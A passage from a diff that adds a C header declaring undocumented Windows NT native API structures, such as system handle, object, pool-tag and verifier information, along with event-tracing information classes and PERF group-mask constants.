_SYSTEM_FLAGS_INFORMATION +{ + ULONG Flags; // NtGlobalFlag +} SYSTEM_FLAGS_INFORMATION, * PSYSTEM_FLAGS_INFORMATION; + +// private +typedef struct _SYSTEM_CALL_TIME_INFORMATION +{ + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, * PSYSTEM_CALL_TIME_INFORMATION; + +// private +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + HANDLE OwningThread; + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + LONG RecursionCount; + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, * PRTL_PROCESS_LOCK_INFORMATION; + +// private +typedef struct _RTL_PROCESS_LOCKS +{ + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[1]; +} RTL_PROCESS_LOCKS, * PRTL_PROCESS_LOCKS; + +// private +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION +{ + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[32]; +} RTL_PROCESS_BACKTRACE_INFORMATION, * PRTL_PROCESS_BACKTRACE_INFORMATION; + +// private +typedef struct _RTL_PROCESS_BACKTRACES +{ + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1]; +} RTL_PROCESS_BACKTRACES, * PRTL_PROCESS_BACKTRACES; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + BOOLEAN SecurityRequired; + BOOLEAN WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, * PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION +{ + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + UNICODE_STRING NameInfo; +} SYSTEM_OBJECT_INFORMATION, * PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, * PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, * PSYSTEM_VDM_INSTEMUL_INFO; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION +{ + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, * PSYSTEM_FILECACHE_INFORMATION; + +// Can be used instead of SYSTEM_FILECACHE_INFORMATION +typedef struct _SYSTEM_BASIC_WORKING_SET_INFORMATION +{ + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; +} SYSTEM_BASIC_WORKING_SET_INFORMATION, * PSYSTEM_BASIC_WORKING_SET_INFORMATION; + +typedef struct _SYSTEM_POOLTAG +{ + union + { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, * PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[1]; +} SYSTEM_POOLTAG_INFORMATION, * PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION +{ + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, * PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION +{ + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, * PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION +{ + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, * PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE +{ + ULONGLONG TimeAdjustment; + ULONGLONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE, * PSYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION +{ + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, * PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE +{ + ULONGLONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE, * PSYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE; + +#ifndef _TRACEHANDLE_DEFINED +#define _TRACEHANDLE_DEFINED +typedef ULONG64 TRACEHANDLE, * PTRACEHANDLE; +#endif + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, // EVENT_TRACE_VERSION_INFORMATION + EventTraceGroupMaskInformation, // EVENT_TRACE_GROUPMASK_INFORMATION + EventTracePerformanceInformation, // EVENT_TRACE_PERFORMANCE_INFORMATION + EventTraceTimeProfileInformation, // EVENT_TRACE_TIME_PROFILE_INFORMATION + EventTraceSessionSecurityInformation, // EVENT_TRACE_SESSION_SECURITY_INFORMATION + EventTraceSpinlockInformation, // EVENT_TRACE_SPINLOCK_INFORMATION + EventTraceStackTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceExecutiveResourceInformation, // EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION + EventTraceHeapTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION + EventTraceHeapSummaryTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION + EventTracePoolTagFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION + EventTracePebsTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceProfileConfigInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION + EventTraceProfileSourceListInformation, // EVENT_TRACE_PROFILE_LIST_INFORMATION + EventTraceProfileEventListInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceProfileCounterListInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION + EventTraceStackCachingInformation, // EVENT_TRACE_STACK_CACHING_INFORMATION + EventTraceObjectTypeFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION + EventTraceSoftRestartInformation, // EVENT_TRACE_SOFT_RESTART_INFORMATION + EventTraceLastBranchConfigurationInformation, // REDSTONE3 + EventTraceLastBranchEventListInformation, + EventTraceProfileSourceAddInformation, // EVENT_TRACE_PROFILE_ADD_INFORMATION // REDSTONE4 + EventTraceProfileSourceRemoveInformation, // EVENT_TRACE_PROFILE_REMOVE_INFORMATION + EventTraceProcessorTraceConfigurationInformation, + EventTraceProcessorTraceEventListInformation, + EventTraceCoverageSamplerInformation, // EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION + EventTraceUnifiedStackCachingInformation, // sicne 21H1 + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS; + +typedef struct _EVENT_TRACE_VERSION_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG EventTraceKernelVersion; +} EVENT_TRACE_VERSION_INFORMATION, * PEVENT_TRACE_VERSION_INFORMATION; + +#define PERF_MASK_INDEX (0xe0000000) +#define PERF_MASK_GROUP (~PERF_MASK_INDEX) +#define PERF_NUM_MASKS 8 + +#define PERF_GET_MASK_INDEX(GM) (((GM) & PERF_MASK_INDEX) >> 29) +#define PERF_GET_MASK_GROUP(GM) ((GM) & PERF_MASK_GROUP) +#define PERFINFO_OR_GROUP_WITH_GROUPMASK(Group, pGroupMask) \ + (pGroupMask)->Masks[PERF_GET_MASK_INDEX(Group)] |= PERF_GET_MASK_GROUP(Group); + +// Masks[0] +#define PERF_PROCESS EVENT_TRACE_FLAG_PROCESS +#define PERF_THREAD EVENT_TRACE_FLAG_THREAD +#define PERF_PROC_THREAD EVENT_TRACE_FLAG_PROCESS | EVENT_TRACE_FLAG_THREAD +#define PERF_LOADER EVENT_TRACE_FLAG_IMAGE_LOAD +#define PERF_PERF_COUNTER EVENT_TRACE_FLAG_PROCESS_COUNTERS +#define PERF_FILENAME EVENT_TRACE_FLAG_DISK_FILE_IO +#define PERF_DISK_IO EVENT_TRACE_FLAG_DISK_FILE_IO | EVENT_TRACE_FLAG_DISK_IO +#define PERF_DISK_IO_INIT EVENT_TRACE_FLAG_DISK_IO_INIT +#define PERF_ALL_FAULTS EVENT_TRACE_FLAG_MEMORY_PAGE_FAULTS +#define PERF_HARD_FAULTS EVENT_TRACE_FLAG_MEMORY_HARD_FAULTS +#define PERF_VAMAP EVENT_TRACE_FLAG_VAMAP +#define PERF_NETWORK EVENT_TRACE_FLAG_NETWORK_TCPIP +#define PERF_REGISTRY EVENT_TRACE_FLAG_REGISTRY +#define PERF_DBGPRINT EVENT_TRACE_FLAG_DBGPRINT +#define PERF_JOB EVENT_TRACE_FLAG_JOB +#define PERF_ALPC EVENT_TRACE_FLAG_ALPC +#define PERF_SPLIT_IO EVENT_TRACE_FLAG_SPLIT_IO +#define PERF_DEBUG_EVENTS EVENT_TRACE_FLAG_DEBUG_EVENTS +#define PERF_FILE_IO EVENT_TRACE_FLAG_FILE_IO +#define PERF_FILE_IO_INIT EVENT_TRACE_FLAG_FILE_IO_INIT +#define PERF_NO_SYSCONFIG EVENT_TRACE_FLAG_NO_SYSCONFIG + +// Masks[1] +#define PERF_MEMORY 0x20000001 +#define PERF_PROFILE 0x20000002 // equivalent to EVENT_TRACE_FLAG_PROFILE +#define PERF_CONTEXT_SWITCH 0x20000004 // equivalent to EVENT_TRACE_FLAG_CSWITCH +#define PERF_FOOTPRINT 0x20000008 +#define PERF_DRIVERS 0x20000010 // equivalent to EVENT_TRACE_FLAG_DRIVER +#define PERF_REFSET 0x20000020 +#define PERF_POOL 0x20000040 +#define PERF_POOLTRACE 0x20000041 +#define PERF_DPC 0x20000080 // equivalent to EVENT_TRACE_FLAG_DPC +#define PERF_COMPACT_CSWITCH 0x20000100 +#define PERF_DISPATCHER 0x20000200 // equivalent to EVENT_TRACE_FLAG_DISPATCHER +#define PERF_PMC_PROFILE 0x20000400 +#define PERF_PROFILING 0x20000402 +#define PERF_PROCESS_INSWAP 0x20000800 +#define PERF_AFFINITY 0x20001000 +#define PERF_PRIORITY 0x20002000 +#define PERF_INTERRUPT 0x20004000 // equivalent to EVENT_TRACE_FLAG_INTERRUPT +#define PERF_VIRTUAL_ALLOC 0x20008000 // equivalent to EVENT_TRACE_FLAG_VIRTUAL_ALLOC +#define PERF_SPINLOCK 0x20010000 +#define PERF_SYNC_OBJECTS 0x20020000 +#define PERF_DPC_QUEUE 0x20040000 +#define PERF_MEMINFO 0x20080000 +#define PERF_CONTMEM_GEN 0x20100000 +#define PERF_SPINLOCK_CNTRS 0x20200000 +#define PERF_SPININSTR 0x20210000 +#define PERF_SESSION 0x20400000 +#define PERF_PFSECTION 0x20400000 +#define PERF_MEMINFO_WS 0x20800000 +#define PERF_KERNEL_QUEUE 0x21000000 +#define PERF_INTERRUPT_STEER 0x22000000 +#define PERF_SHOULD_YIELD 0x24000000 +#define PERF_WS 0x28000000 + +// Masks[2] +#define PERF_ANTI_STARVATION 0x40000001 +#define PERF_PROCESS_FREEZE 0x40000002 +#define PERF_PFN_LIST 0x40000004 +#define PERF_WS_DETAIL 0x40000008 +#define PERF_WS_ENTRY 0x40000010 +#define PERF_HEAP 0x40000020 +#define PERF_SYSCALL 0x40000040 // equivalent to EVENT_TRACE_FLAG_SYSTEMCALL +#define PERF_UMS 0x40000080 +#define PERF_BACKTRACE 0x40000100 +#define PERF_VULCAN 0x40000200 +#define PERF_OBJECTS 0x40000400 +#define PERF_EVENTS 0x40000800 +#define PERF_FULLTRACE 0x40001000 +#define PERF_DFSS 0x40002000 +#define PERF_PREFETCH 0x40004000 +#define PERF_PROCESSOR_IDLE 0x40008000 +#define PERF_CPU_CONFIG 0x40010000 +#define PERF_TIMER 0x40020000 +#define PERF_CLOCK_INTERRUPT 0x40040000 +#define PERF_LOAD_BALANCER 0x40080000 +#define PERF_CLOCK_TIMER 0x40100000 +#define PERF_IDLE_SELECTION 0x40200000 +#define PERF_IPI 0x40400000 +#define PERF_IO_TIMER 0x40800000 +#define PERF_REG_HIVE 0x41000000 +#define PERF_REG_NOTIF 0x42000000 +#define PERF_PPM_EXIT_LATENCY 0x44000000 +#define PERF_WORKER_THREAD 0x48000000 + +// Masks[4] +#define PERF_OPTICAL_IO 0x80000001 +#define PERF_OPTICAL_IO_INIT 0x80000002 +#define PERF_DLL_INFO 0x80000008 +#define PERF_DLL_FLUSH_WS 0x80000010 +#define PERF_OB_HANDLE 0x80000040 +#define PERF_OB_OBJECT 0x80000080 +#define PERF_WAKE_DROP 0x80000200 +#define PERF_WAKE_EVENT 0x80000400 +#define PERF_DEBUGGER 0x80000800 +#define PERF_PROC_ATTACH 0x80001000 +#define PERF_WAKE_COUNTER 0x80002000 +#define PERF_POWER 0x80008000 +#define PERF_SOFT_TRIM 0x80010000 +#define PERF_CC 0x80020000 +#define PERF_FLT_IO_INIT 0x80080000 +#define PERF_FLT_IO 0x80100000 +#define PERF_FLT_FASTIO 0x80200000 +#define PERF_FLT_IO_FAILURE 0x80400000 +#define PERF_HV_PROFILE 0x80800000 +#define PERF_WDF_DPC 0x81000000 +#define PERF_WDF_INTERRUPT 0x82000000 +#define PERF_CACHE_FLUSH 0x84000000 + +// Masks[5] +#define PERF_HIBER_RUNDOWN 0xA0000001 + +// Masks[6] +#define PERF_SYSCFG_SYSTEM 0xC0000001 +#define PERF_SYSCFG_GRAPHICS 0xC0000002 +#define PERF_SYSCFG_STORAGE 0xC0000004 +#define PERF_SYSCFG_NETWORK 0xC0000008 +#define PERF_SYSCFG_SERVICES 0xC0000010 +#define PERF_SYSCFG_PNP 0xC0000020 +#define PERF_SYSCFG_OPTICAL 0xC0000040 +#define PERF_SYSCFG_ALL 0xDFFFFFFF + +// Masks[7] - Control Mask. All flags that change system behavior go here. +#define PERF_CLUSTER_OFF 0xE0000001 +#define PERF_MEMORY_CONTROL 0xE0000002 + +typedef ULONG PERFINFO_MASK; + +typedef struct _PERFINFO_GROUPMASK +{ + ULONG Masks[PERF_NUM_MASKS]; +} PERFINFO_GROUPMASK, * PPERFINFO_GROUPMASK; + +typedef struct _EVENT_TRACE_GROUPMASK_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + PERFINFO_GROUPMASK EventTraceGroupMasks; +} EVENT_TRACE_GROUPMASK_INFORMATION, * PEVENT_TRACE_GROUPMASK_INFORMATION; + +typedef struct _EVENT_TRACE_PERFORMANCE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + LARGE_INTEGER LogfileBytesWritten; +} EVENT_TRACE_PERFORMANCE_INFORMATION, * PEVENT_TRACE_PERFORMANCE_INFORMATION; + +typedef struct _EVENT_TRACE_TIME_PROFILE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ProfileInterval; +} EVENT_TRACE_TIME_PROFILE_INFORMATION, * PEVENT_TRACE_TIME_PROFILE_INFORMATION; + +typedef struct _EVENT_TRACE_SESSION_SECURITY_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG SecurityInformation; + TRACEHANDLE TraceHandle; + UCHAR SecurityDescriptor[1]; +} EVENT_TRACE_SESSION_SECURITY_INFORMATION, * PEVENT_TRACE_SESSION_SECURITY_INFORMATION; + +typedef struct _EVENT_TRACE_SPINLOCK_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG SpinLockSpinThreshold; + ULONG SpinLockAcquireSampleRate; + ULONG SpinLockContentionSampleRate; + ULONG SpinLockHoldThreshold; +} EVENT_TRACE_SPINLOCK_INFORMATION, * PEVENT_TRACE_SPINLOCK_INFORMATION; + +typedef struct _EVENT_TRACE_SYSTEM_EVENT_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + ULONG HookId[1]; +} EVENT_TRACE_SYSTEM_EVENT_INFORMATION, * PEVENT_TRACE_SYSTEM_EVENT_INFORMATION; + +typedef struct _EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ReleaseSamplingRate; + ULONG ContentionSamplingRate; + ULONG NumberOfExcessiveTimeouts; +} EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION, * PEVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION; + +typedef struct _EVENT_TRACE_HEAP_TRACING_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ProcessId; +} EVENT_TRACE_HEAP_TRACING_INFORMATION, * PEVENT_TRACE_HEAP_TRACING_INFORMATION; + +typedef struct _EVENT_TRACE_TAG_FILTER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + ULONG Filter[1]; +} EVENT_TRACE_TAG_FILTER_INFORMATION, * PEVENT_TRACE_TAG_FILTER_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_COUNTER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + ULONG ProfileSource[1]; +} EVENT_TRACE_PROFILE_COUNTER_INFORMATION, * PEVENT_TRACE_PROFILE_COUNTER_INFORMATION; + +//typedef struct _PROFILE_SOURCE_INFO +//{ +// ULONG NextEntryOffset; +// ULONG Source; +// ULONG MinInterval; +// ULONG MaxInterval; +// PVOID Reserved; +// WCHAR Description[1]; +//} PROFILE_SOURCE_INFO, *PPROFILE_SOURCE_INFO; + +typedef struct _EVENT_TRACE_PROFILE_LIST_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG Spare; + struct _PROFILE_SOURCE_INFO* Profile[1]; +} EVENT_TRACE_PROFILE_LIST_INFORMATION, * PEVENT_TRACE_PROFILE_LIST_INFORMATION; + +typedef struct _EVENT_TRACE_STACK_CACHING_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + BOOLEAN Enabled; + UCHAR Reserved[3]; + ULONG CacheSize; + ULONG BucketCount; +} EVENT_TRACE_STACK_CACHING_INFORMATION, * PEVENT_TRACE_STACK_CACHING_INFORMATION; + +typedef struct _EVENT_TRACE_SOFT_RESTART_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + TRACEHANDLE TraceHandle; + BOOLEAN PersistTraceBuffers; + WCHAR FileName[1]; +} EVENT_TRACE_SOFT_RESTART_INFORMATION, * PEVENT_TRACE_SOFT_RESTART_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_ADD_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + BOOLEAN PerfEvtEventSelect; + BOOLEAN PerfEvtUnitSelect; + ULONG PerfEvtType; + ULONG CpuInfoHierarchy[0x3]; + ULONG InitialInterval; + BOOLEAN AllowsHalt; + BOOLEAN Persist; + WCHAR ProfileSourceDescription[0x1]; +} EVENT_TRACE_PROFILE_ADD_INFORMATION, * PEVENT_TRACE_PROFILE_ADD_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_REMOVE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + KPROFILE_SOURCE ProfileSource; + ULONG CpuInfoHierarchy[0x3]; +} EVENT_TRACE_PROFILE_REMOVE_INFORMATION, * PEVENT_TRACE_PROFILE_REMOVE_INFORMATION; + +typedef struct _EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + BOOLEAN CoverageSamplerInformationClass; + UCHAR MajorVersion; + UCHAR MinorVersion; + UCHAR Reserved; + HANDLE SamplerHandle; +} EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION, * PEVENT_TRACE_COVERAGE_SAMPLER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, * PSYSTEM_EXCEPTION_INFORMATION; + +typedef enum _SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS +{ + SystemCrashDumpDisable, + SystemCrashDumpReconfigure, + SystemCrashDumpInitializationComplete +} SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS, * PSYSTEM_CRASH_DUMP_CONFIGURATION_CLASS; + +typedef struct _SYSTEM_CRASH_DUMP_STATE_INFORMATION +{ + SYSTEM_CRASH_DUMP_CONFIGURATION_CLASS CrashDumpConfigurationClass; +} SYSTEM_CRASH_DUMP_STATE_INFORMATION, * PSYSTEM_CRASH_DUMP_STATE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION +{ + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, * PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION +{ + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, * PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION +{ + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, * PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION +{ + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, * PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION +{ + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, * PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION +{ + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, * PSYSTEM_LOOKASIDE_INFORMATION; + +// private +typedef struct _SYSTEM_RANGE_START_INFORMATION +{ + PVOID SystemRangeStart; +} SYSTEM_RANGE_START_INFORMATION, * PSYSTEM_RANGE_START_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_LEGACY // pre-19H1 +{ + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; +} SYSTEM_VERIFIER_INFORMATION_LEGACY, * PSYSTEM_VERIFIER_INFORMATION_LEGACY; + +typedef struct _SYSTEM_VERIFIER_INFORMATION +{ + ULONG NextEntryOffset; + ULONG Level; + ULONG RuleClasses[2]; + ULONG TriageContext; + ULONG AreAllDriversBeingVerified; + + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; +} SYSTEM_VERIFIER_INFORMATION, * PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION +{ + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, * PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION +{ + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; 